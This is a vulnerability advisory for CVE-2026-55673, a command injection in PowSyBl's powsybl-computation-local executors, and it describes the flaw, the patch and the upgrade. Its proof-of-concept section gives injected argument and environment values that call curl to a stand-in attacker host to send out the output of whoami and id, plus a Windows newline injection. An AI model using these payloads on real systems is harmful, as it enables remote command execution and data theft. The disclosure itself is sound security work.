highCVE-2026-55673Aug 28, 2026

CVE-2026-55673: powsybl-computation-local OS Command Injection via LocalCommandExecutor

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

PowSyBl Core's local command executors build shell command strings by concatenating user-supplied arguments and environment variable values, then pass them to bash -c or cmd /c, letting an attacker…

Packagecom.powsybl:powsybl-computation-local
Ecosystemmaven
Affected<= 7.2.1
Fixed in7.2.2
CVE-2026-55673: powsybl-computation-local OS Command Injection via LocalCommandExecutor

The problem

UnixLocalCommandExecutor and WindowsLocalCommandExecutor both build a shell invocation by string-concatenating caller-supplied args and env-var values, then hand the result to bash -c (Unix) or cmd /c (Windows). No safe-API (ProcessBuilder with a plain array) is used, so the shell interprets every metacharacter the JVM passes in.

The sink is reachable through multiple public-facing APIs: LocalComputationManager.execute(), AmplModelRunner.run/runAsync(), and the action-simulator / security-analysis / dynamic-security-analysis itools commands when forwarding any user-controlled parameter.

Any embedding service (REST front-ends, pypowsybl, multi-tenant grid analysis platforms) that passes external input into these APIs is exploitable without touching powsybl code directly.

Proof of concept

A working proof-of-concept for CVE-2026-55673 in com.powsybl:powsybl-computation-local, with the exact payload below.

java
// Unix vector 1 - args element using $(...) subshell bypass
// The executor builds: bash -c "simulate-tool <arg>"
// Injected arg value:
String maliciousArg = "safe-value $(curl http://attacker.example/$(whoami))";

// Unix vector 2 - environment variable value injection (no escaping at all)
// The executor sets: export MY_VAR=<value> then runs bash -c "..."
// Injected env-var value:
String maliciousEnv = "ignored;curl http://attacker.example/$(id) #";

// Windows vector - env-var expansion through cmd /c
// Injected env-var value:
String maliciousEnvWin = "ignored\r\ncmd /c whoami > C:\\out.txt";

// Calling the vulnerable API (any affected <= 7.2.1)
List<String> args = List.of("safe-arg", maliciousArg);
Map<String, String> env = Map.of("SIM_VAR", maliciousEnv);
executor.execute("simulate-tool", args, env, workingDir, 1, ...);

On Unix, the executor concatenates all args into a single string and invokes bash -c "<concat>". Single-quote wrapping around individual args is the attempted mitigation, but it is bypassable: a $(...) or backtick subshell inside an argument does not require breaking out of quotes when the surrounding shell still interprets the full string.

Environment variable values receive no quoting at all, so a semicolon or newline in a value trivially injects a second command.

The patch (PR #3973, commits 17461264 / 7aa28d8c) replaces bash -c string concatenation with a ProcessBuilder invocation that passes each argument as a discrete array element, which the OS kernel hands directly to execve() without any shell parsing. Environment variable values are validated against a character allowlist (blocking shell metacharacters listed in the advisory workaround) before the process is started.

This eliminates CWE-78 at the structural level and closes the CWE-88 env-var vector simultaneously.

The fix

Upgrade com.powsybl:powsybl-computation-local to 7.2.2 or later. The fix uses ProcessBuilder with discrete argument arrays instead of bash -c / cmd /c string concatenation, removing shell interpretation entirely. If you cannot upgrade, sanitize all caller-supplied args and env values by rejecting the shell metacharacters listed in the advisory workaround section for your platform.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research